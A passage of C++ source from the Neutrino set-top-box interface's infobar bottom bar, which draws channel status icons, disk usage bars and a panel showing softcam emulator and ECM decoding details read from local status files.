frameBuffer->paintBoxRel(g_InfoViewer->ChanInfoX, BBarY, minX - g_InfoViewer->ChanInfoX, InfoHeightY_Info, COL_INFOBAR_BUTTONS_BACKGROUND, RADIUS_LARGE, CORNER_BOTTOM); //round for (i = BUTTON_MAX; i > 0;) { --i; if ((bbButtonInfo[i].x <= g_InfoViewer->ChanInfoX) || (bbButtonInfo[i].x >= g_InfoViewer->BoxEndX) || (!bbButtonInfo[i].paint)) continue; if (bbButtonInfo[i].x > 0) { if (bbButtonInfo[i].x + bbButtonInfo[i].w > last_x) /* text too long */ bbButtonInfo[i].w = last_x - bbButtonInfo[i].x; last_x = bbButtonInfo[i].x; if (bbButtonInfo[i].w - bbButtonInfo[i].cx <= 0) { printf("[infoviewer_bb:%d cannot paint icon %d (not enough space)\n", __LINE__, i); continue; } if (bbButtonInfo[i].active) { frameBuffer->paintIcon(bbButtonInfo[i].icon, bbButtonInfo[i].x, BBarY, InfoHeightY_Info); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(bbButtonInfo[i].x + bbButtonInfo[i].cx, BBarFontY, bbButtonInfo[i].w - bbButtonInfo[i].cx, bbButtonInfo[i].text, COL_INFOBAR_TEXT); } } } if (modus == CInfoViewerBB::BUTTON_AUDIO) showIcon_DD(); for (i = 0; i < CInfoViewerBB::BUTTON_MAX; i++) { tmp_bbButtonInfoText[i] = bbButtonInfo[i].text; } } if (g_InfoViewer->isVolscale) CVolume::getInstance()->showVolscale(); } void CInfoViewerBB::showBBIcons(const int modus, const std::string & icon) { if ((bbIconInfo[modus].x <= g_InfoViewer->ChanInfoX) || (bbIconInfo[modus].x >= g_InfoViewer->BoxEndX)) return; if ((modus >= CInfoViewerBB::ICON_SUBT) && (modus < CInfoViewerBB::ICON_MAX) && (bbIconInfo[modus].x != -1) && (is_visible)) { frameBuffer->paintIcon(icon, bbIconInfo[modus].x, BBarY, InfoHeightY_Info, 1, true, !g_settings.gradiant, COL_INFOBAR_BUTTONS_BACKGROUND); } } void CInfoViewerBB::paintshowButtonBar() { if (!is_visible) return; getBBIconInfo(); for (int i = 0; i < CInfoViewerBB::BUTTON_MAX; i++) { tmp_bbButtonInfoText[i] = ""; } g_InfoViewer->sec_timer_id = g_RCInput->addTimer(1*1000*1000, false); if (g_settings.casystem_display < 2) paintCA_bar(0,0); frameBuffer->paintBoxRel(g_InfoViewer->ChanInfoX, BBarY, g_InfoViewer->BoxEndX - g_InfoViewer->ChanInfoX, InfoHeightY_Info, COL_INFOBAR_BUTTONS_BACKGROUND, RADIUS_LARGE, CORNER_BOTTOM); //round g_InfoViewer->showSNR(); // Buttons showBBButtons(); // Icons, starting from right showIcon_SubT(); showIcon_VTXT(); showIcon_DD(); showIcon_16_9(); #if 0 scrambledCheck(true); #endif showIcon_CA_Status(0); showIcon_Resolution(); showIcon_Tuner(); showSysfsHdd(); } void CInfoViewerBB::showIcon_SubT() { if (!is_visible) return; bool have_sub = false; CZapitChannel * cc = CNeutrinoApp::getInstance()->channelList->getChannel(CNeutrinoApp::getInstance()->channelList->getActiveChannelNumber()); if (cc && cc->getSubtitleCount()) have_sub = true; showBBIcons(CInfoViewerBB::ICON_SUBT, (have_sub) ? NEUTRINO_ICON_SUBT : NEUTRINO_ICON_SUBT_GREY); } void CInfoViewerBB::showIcon_VTXT() { if (!is_visible) return; showBBIcons(CInfoViewerBB::ICON_VTXT, (g_RemoteControl->current_PIDs.PIDs.vtxtpid != 0) ? NEUTRINO_ICON_VTXT : NEUTRINO_ICON_VTXT_GREY); } void CInfoViewerBB::showIcon_DD() { if (!is_visible || !g_settings.infobar_show_dd_available) return; std::string dd_icon; if ((g_RemoteControl->current_PIDs.PIDs.selected_apid < g_RemoteControl->current_PIDs.APIDs.size()) && (g_RemoteControl->current_PIDs.APIDs[g_RemoteControl->current_PIDs.PIDs.selected_apid].is_ac3)) dd_icon = NEUTRINO_ICON_DD; else dd_icon = g_RemoteControl->has_ac3 ? NEUTRINO_ICON_DD_AVAIL : NEUTRINO_ICON_DD_GREY; showBBIcons(CInfoViewerBB::ICON_DD, dd_icon); } void CInfoViewerBB::showIcon_RadioText(bool rt_available) { if (!is_visible || !g_settings.radiotext_enable) return; std::string rt_icon; if (rt_available) rt_icon = (g_Radiotext->S_RtOsd) ? NEUTRINO_ICON_RADIOTEXTGET : NEUTRINO_ICON_RADIOTEXTWAIT; else rt_icon = NEUTRINO_ICON_RADIOTEXTOFF; showBBIcons(CInfoViewerBB::ICON_RT, rt_icon); } void CInfoViewerBB::showIcon_16_9() { if (!is_visible) return; if ((g_InfoViewer->aspectRatio == 0) || ( g_RemoteControl->current_PIDs.PIDs.vpid == 0 ) || (g_InfoViewer->aspectRatio != videoDecoder->getAspectRatio())) { if (g_InfoViewer->chanready && g_RemoteControl->current_PIDs.PIDs.vpid > 0 ) { g_InfoViewer->aspectRatio = videoDecoder->getAspectRatio(); } else g_InfoViewer->aspectRatio = 0; showBBIcons(CInfoViewerBB::ICON_16_9, (g_InfoViewer->aspectRatio > 2) ? NEUTRINO_ICON_16_9 : NEUTRINO_ICON_16_9_GREY); } } void CInfoViewerBB::showIcon_Resolution() { if ((!is_visible) || (g_settings.infobar_show_res == 2)) //show resolution icon is off return; if (CNeutrinoApp::getInstance()->getMode() == NeutrinoMessages::mode_radio) return; const char *icon_name = NULL; #if 0 if ((scrambledNoSig) || ((!fta) && (scrambledErr))) #else #if BOXMODEL_UFS910 if (!g_InfoViewer->chanready) #else if (!g_InfoViewer->chanready || videoDecoder->getBlank()) #endif #endif { icon_name = NEUTRINO_ICON_RESOLUTION_000; } else { int xres, yres, framerate; if (g_settings.infobar_show_res == 0) {//show resolution icon on infobar videoDecoder->getPictureInfo(xres, yres, framerate); switch (yres) { case 1920: icon_name = NEUTRINO_ICON_RESOLUTION_1920; break; case 1080: case 1088: icon_name = NEUTRINO_ICON_RESOLUTION_1080; break; case 1440: icon_name = NEUTRINO_ICON_RESOLUTION_1440; break; case 1280: icon_name = NEUTRINO_ICON_RESOLUTION_1280; break; case 720: icon_name = NEUTRINO_ICON_RESOLUTION_720; break; case 704: icon_name = NEUTRINO_ICON_RESOLUTION_704; break; case 576: icon_name = NEUTRINO_ICON_RESOLUTION_576; break; case 544: icon_name = NEUTRINO_ICON_RESOLUTION_544; break; case 528: icon_name = NEUTRINO_ICON_RESOLUTION_528; break; case 480: icon_name = NEUTRINO_ICON_RESOLUTION_480; break; case 382: icon_name = NEUTRINO_ICON_RESOLUTION_382; break; case 352: icon_name = NEUTRINO_ICON_RESOLUTION_352; break; case 288: icon_name = NEUTRINO_ICON_RESOLUTION_288; break; default: icon_name = NEUTRINO_ICON_RESOLUTION_000; break; } } if (g_settings.infobar_show_res == 1) {//show simple resolution icon on infobar videoDecoder->getPictureInfo(xres, yres, framerate); if (yres > 704) icon_name = NEUTRINO_ICON_RESOLUTION_HD; else if (yres >= 288) icon_name = NEUTRINO_ICON_RESOLUTION_SD; else icon_name = NEUTRINO_ICON_RESOLUTION_000; } } showBBIcons(CInfoViewerBB::ICON_RES, icon_name); } void CInfoViewerBB::showOne_CAIcon() { std::string sIcon = ""; #if 0 if (CNeutrinoApp::getInstance()->getMode() != NeutrinoMessages::mode_radio) { if (scrambledNoSig) sIcon = NEUTRINO_ICON_SCRAMBLED2_BLANK; else { if (fta) sIcon = NEUTRINO_ICON_SCRAMBLED2_GREY; else sIcon = (scrambledErr) ? NEUTRINO_ICON_SCRAMBLED2_RED : NEUTRINO_ICON_SCRAMBLED2; } } else #endif sIcon = (fta) ? NEUTRINO_ICON_SCRAMBLED2_GREY : NEUTRINO_ICON_SCRAMBLED2; showBBIcons(CInfoViewerBB::ICON_CA, sIcon); } void CInfoViewerBB::showIcon_Tuner() { if (CFEManager::getInstance()->getEnabledCount() <= 1 || !g_settings.infobar_show_tuner) return; std::string icon_name; switch (CFEManager::getInstance()->getLiveFE()->getNumber()) { case 1: icon_name = NEUTRINO_ICON_TUNER_2; break; case 2: icon_name = NEUTRINO_ICON_TUNER_3; break; case 3: icon_name = NEUTRINO_ICON_TUNER_4; break; case 0: default: icon_name = NEUTRINO_ICON_TUNER_1; break; } showBBIcons(CInfoViewerBB::ICON_TUNER, icon_name); } void CInfoViewerBB::showSysfsHdd() { if (g_settings.infobar_show_sysfs_hdd) { //sysFS info int percent = 0; uint64_t t, u; #if HAVE_SPARK_HARDWARE || HAVE_DUCKBOX_HARDWARE if (get_fs_usage("/var", t, u)) #else if (get_fs_usage("/", t, u)) #endif percent = (int)((u * 100ULL) / t); showBarSys(percent); showBarHdd(cHddStat::getInstance()->getPercent()); } } void CInfoViewerBB::showBarSys(int percent) { if (is_visible){ sysscale->setDimensionsAll(bbIconMinX, BBarY + InfoHeightY_Info / 2 - 2 - 6, hddwidth, 6); sysscale->setValues(percent, 100); sysscale->paint(); } } void CInfoViewerBB::showBarHdd(int percent) { if (is_visible) { if (percent >= 0){ hddscale->setDimensionsAll(bbIconMinX, BBarY + InfoHeightY_Info / 2 + 2 + 0, hddwidth, 6); hddscale->setValues(percent, 100); hddscale->paint(); }else { frameBuffer->paintBoxRel(bbIconMinX, BBarY + InfoHeightY_Info / 2 + 2 + 0, hddwidth, 6, COL_INFOBAR_BUTTONS_BACKGROUND); hddscale->reset(); } } } void CInfoViewerBB::paint_ca_icons(int caid, const char *icon, int &icon_space_offset) { char buf[20]; int endx = g_InfoViewer->BoxEndX - 10; int py = g_InfoViewer->BoxEndY + 2; /* hand-crafted, should be automatic */ int px = 0; static map<int, std::pair<int,const char*> > icon_map; const int icon_space = 5, icon_number = 10; static int icon_offset[icon_number] = {0,0,0,0,0,0,0,0,0,0}; static int icon_sizeW [icon_number] = {0,0,0,0,0,0,0,0,0,0}; static bool init_flag = false; if (!init_flag) { init_flag = true; int icon_sizeH = 0, index = 0; map<int, std::pair<int,const char*> >::const_iterator it; icon_map[0x0E00] = std::make_pair(index++,"powervu"); icon_map[0x4A00] = std::make_pair(index++,"d"); icon_map[0x2600] = std::make_pair(index++,"biss"); icon_map[0x0600] = std::make_pair(index++,"ird"); icon_map[0x0100] = std::make_pair(index++,"seca"); icon_map[0x0500] = std::make_pair(index++,"via"); icon_map[0x1800] = std::make_pair(index++,"nagra"); icon_map[0x0B00] = std::make_pair(index++,"conax"); icon_map[0x0D00] = std::make_pair(index++,"cw"); icon_map[0x0900] = std::make_pair(index ,"nds"); for (it=icon_map.begin(); it!=icon_map.end(); ++it) { snprintf(buf, sizeof(buf), "%s_%s", (*it).second.second, icon); frameBuffer->getIconSize(buf, &icon_sizeW[(*it).second.first], &icon_sizeH); } for (int j = 0; j < icon_number; j++) { for (int i = j; i < icon_number; i++) { icon_offset[j] += icon_sizeW[i] + icon_space; } } } caid &= 0xFF00; if (icon_offset[icon_map[caid].first] == 0) return; if (g_settings.casystem_display == 0) { px = endx - (icon_offset[icon_map[caid].first] - icon_space ); } else { icon_space_offset += icon_sizeW[icon_map[caid].first]; px = endx - icon_space_offset; icon_space_offset += 4; } if (px) { snprintf(buf, sizeof(buf), "%s_%s", icon_map[caid].second, icon); if ((px >= (endx-8)) || (px <= 0)) printf("#####[%s:%d] Error paint icon %s, px: %d, py: %d, endx: %d, icon_offset: %d\n", __FUNCTION__, __LINE__, buf, px, py, endx, icon_offset[icon_map[caid].first]); else frameBuffer->paintIcon(buf, px, py); } } void CInfoViewerBB::showIcon_CA_Status(int /*notfirst*/) { if (!is_visible) return; if (g_settings.casystem_display == 3) return; if(NeutrinoMessages::mode_ts == CNeutrinoApp::getInstance()->getMode() && !CMoviePlayerGui::getInstance().timeshift){ if (g_settings.casystem_display == 2) { fta = true; showOne_CAIcon(); } return; } int caids[] = { 0x900, 0xD00, 0xB00, 0x1800, 0x0500, 0x0100, 0x600, 0x2600, 0x4a00, 0x0E00 }; const char *white = "white"; const char *yellow = "yellow"; const char *green = "green"; int icon_space_offset = 0; const char *ecm_info_f = "/tmp/ecm.info"; if(!g_InfoViewer->chanready) { if (g_settings.infoviewer_ecm_info == 1) frameBuffer->paintBackgroundBoxRel(g_InfoViewer->BoxEndX-220, g_InfoViewer->BoxStartY-185, 225, g_InfoViewer->ChanHeight+105); else if (g_settings.infoviewer_ecm_info == 2) frameBuffer->paintBackgroundBoxRel(g_InfoViewer->BoxEndX-220, g_InfoViewer->BoxStartY-185, 225, g_InfoViewer->ChanHeight+105); unlink(ecm_info_f); if (g_settings.casystem_display == 2) { fta = true; showOne_CAIcon(); } else if(g_settings.casystem_display == 0) { for (int i = 0; i < (int)(sizeof(caids)/sizeof(int)); i++) { paint_ca_icons(caids[i], white, icon_space_offset); } } return; } CZapitChannel * channel = CZapit::getInstance()->GetCurrentChannel(); if(!channel) return; if (g_settings.casystem_display == 2) { fta = channel->camap.empty(); showOne_CAIcon(); return; } emu = 0; if(file_exists("/var/etc/.mgcamd")) emu = 1; else if(file_exists("/var/etc/.gbox")) emu = 2; else if(file_exists("/var/etc/.oscam")) emu = 3; else if(file_exists("/var/etc/.osemu")) emu = 4; else if(file_exists("/var/etc/.wicard")) emu = 5; else if(file_exists("/var/etc/.camd3")) emu = 6; if ( (file_exists(ecm_info_f)) && ((g_settings.infoviewer_ecm_info == 1) || (g_settings.infoviewer_ecm_info == 2)) ) paintECM(); if ((g_settings.casystem_display == 0) || (g_settings.casystem_display == 1)) { FILE* fd = fopen (ecm_info_f, "r"); int ecm_caid = 0; int decMode = 0; bool mgcamd_emu = emu==1 ? true:false; char ecm_pid[16] = {0}; if (fd) { char *buffer = NULL, *card = NULL; size_t len = 0; ssize_t read; char decode[16] = {0}; while ((read = getline(&buffer, &len, fd)) != -1) { if ((sscanf(buffer, "=%*[^9-0]%x", &ecm_caid) == 1) || (sscanf(buffer, "caid: %x", &ecm_caid) == 1)) { if (mgcamd_emu && ((ecm_caid & 0xFF00) == 0x1700)){ sscanf(buffer, "=%*[^','], pid %6s",ecm_pid); } continue; } else if ((sscanf(buffer, "decode:%15s", decode) == 1) || (sscanf(buffer, "source:%15s", decode) == 2) || (sscanf(buffer, "from: %15s", decode) == 3)) { card = strstr(buffer, "127.0.0.1"); break; } } fclose (fd); if (buffer) free (buffer); if (strncasecmp(decode, "net", 3) == 0) decMode = (card == NULL) ? 1 : 3; // net == 1, card == 3 else if ((strncasecmp(decode, "emu", 3) == 0) || (strncasecmp(decode, "Net", 1) == 0) || (strncasecmp(decode, "int", 3) == 0) || (sscanf(decode, "protocol: char*", 3) == 0) || (sscanf(decode, "from: char*", 3) == 0) || (strncasecmp(decode, "cache", 5) == 0) || (strstr(decode, "/" ) != NULL)) decMode = 2; //emu else if ((strncasecmp(decode, "com", 3) == 0) || (strncasecmp(decode, "slot", 4) == 0) || (strncasecmp(decode, "local", 5) == 0)) decMode = 3; //card } if (mgcamd_emu && ((ecm_caid & 0xFF00) == 0x1700)) { const char *pid_info_f = "/tmp/pid.info"; FILE* pidinfo = fopen (pid_info_f, "r"); if (pidinfo){ char *buf_mg = NULL; size_t mg_len = 0; ssize_t mg_read; while ((mg_read = getline(&buf_mg, &mg_len, pidinfo)) != -1){ if(strcasestr(buf_mg, ecm_pid)){ int pidnagra = 0; sscanf(buf_mg, "%*[^':']: CaID: %x *", &pidnagra); ecm_caid = pidnagra; } } fclose (pidinfo); if (buf_mg) free (buf_mg); } } if ((ecm_caid & 0xFF00) == 0x1700 ) { bool nagra_found = false; bool beta_found = false; for(casys_map_iterator_t it = channel->camap.begin(); it != channel->camap.end(); ++it) { int caid = (*it) & 0xFF00; if(caid == 0x1800) nagra_found = true; if (caid == 0x1700) beta_found = true; } if(beta_found) ecm_caid = 0x600; else if(!beta_found && nagra_found) ecm_caid = 0x1800; } paintEmuIcons(decMode); for (int i = 0; i < (int)(sizeof(caids)/sizeof(int)); i++) { bool found = false; for(casys_map_iterator_t it = channel->camap.begin(); it != channel->camap.end(); ++it) { int caid = (*it) & 0xFF00; if (caid == 0x1700) caid = 0x0600; if((found = (caid == caids[i]))) break; } if(g_settings.casystem_display == 0) paint_ca_icons(caids[i], (found ? (caids[i] == (ecm_caid & 0xFF00) ? green : yellow) : white), icon_space_offset); else if(found) paint_ca_icons(caids[i], (caids[i] == (ecm_caid & 0xFF00) ? green : yellow), icon_space_offset); } } } void CInfoViewerBB::paintCA_bar(int left, int right) { int xcnt = (g_InfoViewer->BoxEndX - g_InfoViewer->ChanInfoX) / 4; int ycnt = bottom_bar_offset / 4; if (right) right = xcnt - ((right/4)+1); if (left) left = xcnt - ((left/4)-1); frameBuffer->paintBox(g_InfoViewer->ChanInfoX + (right*4), g_InfoViewer->BoxEndY, g_InfoViewer->BoxEndX - (left*4), g_InfoViewer->BoxEndY + bottom_bar_offset, (g_settings.dotmatrix == 1) ? COL_BLACK : COL_INFOBAR_PLUS_0); if (g_settings.dotmatrix == 1) { if (left) left -= 1; for (int i = 0 + right; i < xcnt - left; i++) { for (int j = 0; j < ycnt; j++) { frameBuffer->paintBoxRel((g_InfoViewer->ChanInfoX + 2) + i*4, g_InfoViewer->BoxEndY + 2 + j*4, 2, 2, COL_INFOBAR_PLUS_1); } } } } void CInfoViewerBB::changePB() { hddwidth = frameBuffer->getScreenWidth(true) * ((g_settings.screen_preset == 1) ? 10 : 8) / 128; /* 80(CRT)/100(LCD) pix if screen is 1280 wide */ if (!hddscale) { hddscale = new CProgressBar(); hddscale->setType(CProgressBar::PB_REDRIGHT); } if (!sysscale) { sysscale = new CProgressBar(); sysscale->setType(CProgressBar::PB_REDRIGHT); } } void CInfoViewerBB::reset_allScala() { hddscale->reset(); sysscale->reset(); //lasthdd = lastsys = -1; } void CInfoViewerBB::setBBOffset() { bottom_bar_offset = (g_settings.casystem_display < 2) ? 22 : 0; } void* CInfoViewerBB::scrambledThread(void *arg) { pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, 0); CInfoViewerBB *infoViewerBB = static_cast<CInfoViewerBB*>(arg); while(1) { if (infoViewerBB->is_visible) infoViewerBB->scrambledCheck(); usleep(500*1000); } return 0; } void CInfoViewerBB::scrambledCheck(bool force) { scrambledErr = false; scrambledNoSig = false; if (videoDecoder->getBlank()) { if (videoDecoder->getPlayState()) scrambledErr = true; else scrambledNoSig = true; } if ((scrambledErr != scrambledErrSave) || (scrambledNoSig != scrambledNoSigSave) || force) { showIcon_CA_Status(0); showIcon_Resolution(); scrambledErrSave = scrambledErr; scrambledNoSigSave = scrambledNoSig; } } void CInfoViewerBB::paintEmuIcons(int decMode) { char buf[20]; int py = g_InfoViewer->BoxEndY + 2; /* hand-crafted, should be automatic */ const char emu_green[] = "green"; const char emu_gray[] = "white"; const char emu_yellow[] = "yellow"; enum E{ GBOX,MGCAMD,OSCAM,OSEMU,WICARD,CAMD3,NET,EMU,CARD }; static int emus_icon_sizeW[CARD+1] = {0}; const char *icon_emu[CARD+1] = {"gbox", "mgcamd", "oscam", "osemu", "wicard", "camd3", "net", "emu", "card"}; int icon_sizeH = 0; static int ga = g_InfoViewer->ChanInfoX+30+16; if (emus_icon_sizeW[GBOX] == 0) { for (E e=GBOX; e <= CARD; e = E(e+1)) { snprintf(buf, sizeof(buf), "%s_%s", icon_emu[e], emu_green); frameBuffer->getIconSize(buf, &emus_icon_sizeW[e], &icon_sizeH); ga+=emus_icon_sizeW[e]; } } struct stat sb; int icon_emuX = g_InfoViewer->ChanInfoX ; static int icon_offset = 0; int icon_flag = 0; // gray = 0, yellow = 1, green = 2 if ((g_settings.casystem_display == 1) && (icon_offset)) { paintCA_bar(icon_offset, 0); icon_offset = 0; } for (E e = GBOX; e <= CARD; e = E(e+1)) { switch (e) { case GBOX: case MGCAMD: case OSCAM: case OSEMU: case CAMD3: case WICARD: snprintf(buf, sizeof(buf), "/var/etc/.%s", icon_emu[e]); icon_flag = (stat(buf, &sb) == -1) ? 0 : decMode ? 2 : 1; break; case NET: icon_flag = (decMode == 1) ? 2 : 0; break; case EMU: icon_flag = (decMode == 2) ? 2 : 0; break; case CARD: icon_flag = (decMode == 3) ? 2 : 0; break; default: break; } if (!((g_settings.casystem_display == 1) && (icon_flag == 0))) { snprintf(buf, sizeof(buf), "%s_%s", icon_emu[e], (icon_flag == 0) ? emu_gray : (icon_flag == 1) ? emu_yellow : emu_green); frameBuffer->paintIcon(buf, icon_emuX, py); if (g_settings.casystem_display == 1) { icon_offset += emus_icon_sizeW[e] + ((g_settings.casystem_display == 1) ? 2 : 2); icon_emuX += icon_offset; } else if (e == 4) icon_emuX += emus_icon_sizeW[e] + 15 + ((g_settings.casystem_display == 1) ? 2 : 2); else icon_emuX += emus_icon_sizeW[e] + ((g_settings.casystem_display == 1) ? 2 : 2); } } } void CInfoViewerBB::painttECMInfo(int xa, const char *info, char *caid, char *decode, char *response, char *prov) { frameBuffer->paintBoxRel(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-120, 220, g_InfoViewer->ChanHeight+40, COL_INFOBAR_SHADOW_PLUS_0, g_settings.rounded_corners ? CORNER_RADIUS_MID : 0); frameBuffer->paintBoxRel(g_InfoViewer->BoxEndX-220, g_InfoViewer->BoxStartY-125, 220, g_InfoViewer->ChanHeight+40, COL_INFOBAR_PLUS_0, g_settings.rounded_corners ? CORNER_RADIUS_MID : 0); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-190, g_InfoViewer->BoxStartY-100, xa, info, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-80, 80, "CaID:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-150, g_InfoViewer->BoxStartY-80, 130, caid, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-60, 80, "Decode:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-150, g_InfoViewer->BoxStartY-60, 70, decode, COL_INFOBAR_TEXT, 0, true); if(response[0] != 0 ) { g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-90, g_InfoViewer->BoxStartY-60, 15, "in", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-70, g_InfoViewer->BoxStartY-60, 45, response, COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-25, g_InfoViewer->BoxStartY-60, 10, "s", COL_INFOBAR_TEXT, 0, true); } g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-40, 80, "Provider:", COL_INFOBAR_TEXT, 0, true); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-150, g_InfoViewer->BoxStartY-40, 130, prov, COL_INFOBAR_TEXT, 0, true); } void CInfoViewerBB::paintECM() { char caid1[5] = {0}; char pid1[5] = {0}; char net[8] = {0}; char cw0_[8][3]; char cw1_[8][3]; char source1[30] = {0}; char caid2[5] = {0}; char pid2[5] = {0}; char provider1[3] = {0}; char prov1[8] = {0}; char prov2[16] = {0}; char decode1[9] = {0}; char from1[9] = {0}; char response1[10] = {0}; char reader[20] = {0}; char protocol[20] = {0}; char tmp; const char *ecm_info = "/tmp/ecm.info"; FILE* ecminfo = fopen (ecm_info, "r"); bool ecmInfoEmpty = true; if (ecminfo) { char *buffer = NULL; size_t len = 0; ssize_t read; while ((read = getline(&buffer, &len, ecminfo)) != -1) { ecmInfoEmpty = false; if(emu == 1 || emu == 2){ sscanf(buffer, "%*s %*s ECM on CaID 0x%4s, pid 0x%4s", caid1, pid1); // gbox, mgcamd sscanf(buffer, "prov: %06[^',',(]", prov1); // gbox, mgcamd sscanf(buffer, "caid: 0x%4s", caid2); // oscam sscanf(buffer, "pid: 0x%4s", pid2); // oscam sscanf(buffer, "provider: %s", provider1); // gbox sscanf(buffer, "prov: 0x%6s", prov1); // oscam sscanf(buffer, "prov: 0x%s", prov2); // oscam sscanf(buffer, "decode:%15s", decode1); // gbox sscanf(buffer, "from: %29s", net); // oscam sscanf(buffer, "from: %29s", source1); // oscam sscanf(buffer, "from: %s", from1); // oscam } if(emu == 2){ sscanf(buffer, "decode:%8s", source1); // gbox sscanf(buffer, "response:%05s", response1); // gbox sscanf(buffer, "provider: %02s", prov1); // gbox } if(emu == 1) sscanf(buffer, "source: %08s", source1); // mgcamd sscanf(buffer, "caid: 0x%4s", caid1); // oscam sscanf(buffer, "pid: 0x%4s", pid1); // oscam sscanf(buffer, "from: %29s", source1); // oscam sscanf(buffer, "prov: 0x%6s", prov1); // oscam sscanf(buffer, "ecm time: %9s",response1); // oscam sscanf(buffer, "reader: %18s", reader); // oscam sscanf(buffer, "protocol: %18s", protocol); // oscam if(emu == 3){ sscanf(buffer, "source: %08s", source1); // osca, sscanf(buffer, "caid: 0x%4s", caid1); // oscam sscanf(buffer, "pid: 0x%4s", pid1); // oscam sscanf(buffer, "from: %29s", source1); // oscam sscanf(buffer, "prov: 0x%6s", prov1); // oscam sscanf(buffer, "ecm time: %9s",response1); // oscam sscanf(buffer, "reader: %18s", reader); // oscam sscanf(buffer, "protocol: %18s", protocol); // oscam } sscanf(buffer, "%c%c0: %02s %02s %02s %02s %02s %02s %02s %02s",&tmp,&tmp, cw0_[0], cw0_[1], cw0_[2], cw0_[3], cw0_[4], cw0_[5], cw0_[6], cw0_[7]); // gbox, mgcamd oscam sscanf(buffer, "%c%c1: %02s %02s %02s %02s %02s %02s %02s %02s",&tmp,&tmp, cw1_[0], cw1_[1], cw1_[2], cw1_[3], cw1_[4], cw1_[5], cw1_[6], cw1_[7]); // gbox, mgcamd oscam sscanf(buffer, "%*s %*s ECM on CaID 0x%4s, pid 0x%4s", caid1, pid1); // gbox, mgcamd sscanf(buffer, "caid: 0x%4s", caid2); // oscam sscanf(buffer, "pid: 0x%4s", pid2); // oscam sscanf(buffer, "provider: %s", provider1); // gbox sscanf(buffer, "prov: %[^',']", prov1); // gbox, mgcamd sscanf(buffer, "prov: 0x%s", prov2); // oscam sscanf(buffer, "decode:%15s", decode1); // gbox sscanf(buffer, "source: %s", source1); // mgcamd sscanf(buffer, "from: %s", from1); // oscam } fclose (ecminfo); if (buffer) free (buffer); if(ecmInfoEmpty) return; if(emu == 3){ std::string kname = source1; size_t pos1 = kname.find_last_of("/")+1; size_t pos2 = kname.find_last_of("."); if(pos2>pos1) kname=kname.substr(pos1, pos2-pos1); snprintf(source1,sizeof(source1),"%s",kname.c_str()); } if(emu == 2 && response1[0] != 0){ char tmp_res[10] = ""; memcpy(tmp_res,response1,sizeof(tmp_res)); if(response1[3] != 0){ snprintf(response1,sizeof(response1),"%c.%s",tmp_res[0],&tmp_res[1]); } else snprintf(response1,sizeof(response1),"0.%s",tmp_res); } // tmp_cw0=(cw0_[0][0]<<8)+cw0_[0][1]; // tmp_cw1=(cw1_[0][0]<<8)+cw1_[0][1]; // if((tmp_cw0+tmp_cw1) != (cw0+cw1)){ // cw0=tmp_cw0; // cw1=tmp_cw1; // } } else { if (g_settings.infoviewer_ecm_info == 1) frameBuffer->paintBackgroundBoxRel(g_InfoViewer->BoxEndX-220, g_InfoViewer->BoxStartY-185, 225, g_InfoViewer->ChanHeight+105); else frameBuffer->paintBackgroundBoxRel(g_InfoViewer->BoxEndX-220, g_InfoViewer->BoxStartY-185, 225, g_InfoViewer->ChanHeight+105); return; } if (prov1[strlen(prov1)-1] == '\n') prov1[strlen(prov1)-1] = '\0'; char share_at[32] = {0}; char share_card[5] = {0}; char share_id[5] = {0}; int share_net = 0; const char *share_info = "/tmp/share.info"; FILE* shareinfo = fopen (share_info, "r"); if (shareinfo) { char *buffer = NULL; size_t len = 0; ssize_t read; while ((read = getline(&buffer, &len, shareinfo)) != -1) { sscanf(buffer, "CardID %*s at %s Card %s Sl:%*s Lev:%*s dist:%*s id:%s", share_at, share_card, share_id); if ((strncmp(caid1, share_card, 4) == 0) && (strncmp(prov1, share_id, 4) == 0)) { share_net = 1; break; } } fclose (shareinfo); if (buffer) free (buffer); } const char *gbox_info = "<< Gbox-ECM-Info >>"; const char *mgcamd_info = "<< Mgcamd-ECM-Info >>"; const char *oscam_info = "<< OScam-ECM-Info >>"; if (g_settings.infoviewer_ecm_info == 1) { if (emu == 2) { painttECMInfo(160, gbox_info, caid1, source1, response1, prov1); g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-215, g_InfoViewer->BoxStartY-20, 80, "From:", COL_INFOBAR_TEXT, 0, true); if (strstr(source1, "Net" ) != NULL) { if (share_net == 1) g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-150, g_InfoViewer->BoxStartY-20, 130, share_at, COL_INFOBAR_TEXT, 0, true); else g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-150, g_InfoViewer->BoxStartY-20, 130, "N/A", COL_INFOBAR_TEXT, 0, true); } else g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->RenderString(g_InfoViewer->BoxEndX-150, g_InfoViewer->BoxStartY-20, 130, 